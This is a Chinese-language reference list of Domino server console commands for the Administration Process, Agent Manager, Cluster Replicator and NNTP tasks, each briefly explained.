Tell Adminp Process Daily 处理下列请求:所有新的和更改过的每日请求,以更新“Domino 目录”中的“个人”文档。
任何突出的Rename Person in Unread List 请求。
Tell Adminp Process Delayed 处理所有新的和修改过的延迟请求。
这些请求通常依照“服务器”文档中的“开始执行日期”和“开始执行时间”设置运行。
Tell Adminp Process Interval 处理所有立即请求,以及所有依照“服务器”文档中的“时间间隔”设置执行的请求。
Tell Adminp Process New 处理所有新请求。
Tell Adminp Process People 处理所有新的和修改过的请求,以更新“Domino 目录”中的“个人”文档。
Tell Adminp Process Time 处理所有新的和修改过的请求来删除未链接的邮件文件。
Tell Adminp Show Databases 显示(并在服务器的日志文件中记录)下列信息:特定的管理服务器更新的数据库。
在所更新数据库中更新了“读者”和“作者”域的位置。
没有为其指定管理服务器的数据库。
Tell Adminp Quit 关闭服务器的Administration Process。
Tell Amgr Pause 暂停代理的日程安排。
Tell Amgr Resume 继续代理的日程安排。
Tell Amgr Schedule 显示预定在当天运行所有代理的时间安排表。
此外,该命令也显示代理触发类型、代理预定的运行时间、代理名称和代理运行于其上的数据库名称。
检查Agent Manager 的日程安排表可查到代理是否在Agent Manager 队列中等候。
Agent Manger 队列:E = 能够运行的代理S = 预设运行的代理V = 等待事件发生的事件触发代理触发类型:S = 预设运行的代理M = 新邮件触发代理U = 新建/ 更新文档触发代理Tell Amgr Status 快速显示Agent Manager 队列并且在“服务器”文档中显示“代理管理器”的设置。
Tell Amgr Quit 关闭服务器的Agent Manager。
Tell Clrepl Log 立即在服务器日志(LOG.NSF) 中记录信息,而不是等待下一个日志时间间隔。
Tell Clrepl Quit 关闭服务器上Cluster Replicator 的所有实例。
为了防止Clrepl 任务在以后的会话中运行,那么请删除NOTES.INI 文件的ServerTasks 设置中所有Clrepl 任务实例。
禁用服务器的Clrepl 任务只能防止此服务器到其他服务器的复制,而不防止其他群集服务器向此服务器进行复制。
Tell NNTP Newgroup groupname 新建一个新闻组,使用此命令创建在新闻事务期间没被自动创建的新闻组。
Tell NNTP Newgroup Delete group_name(s) 删除指定新闻组。
Tell NNTP Newgroup groupname pathname 提醒NNTP 将带有指定群组名和路径名的群组添加到它的当前高速缓存列表。
通过模板创建群组时使用此命令。
Tell NNTP print cache list 打印当前NNTP 讨论群组和相应Notes 数据库的列表。
Tell NNTP Print config 打印当前NNTP 配置变量和他们的值的列表。
Tell NNTP Quit 终止NNTP 任务。
Tell NNTP Reset servername 重新设置新闻事务,以便此服务器的下次输入或输出可以象首次输入或输出一样对文章进行推出或拉入。
Tell NNTP Show Config 显示NNTP 服务器配置设置,此设置在“服务器”文档的NNTP 区段中进行指定。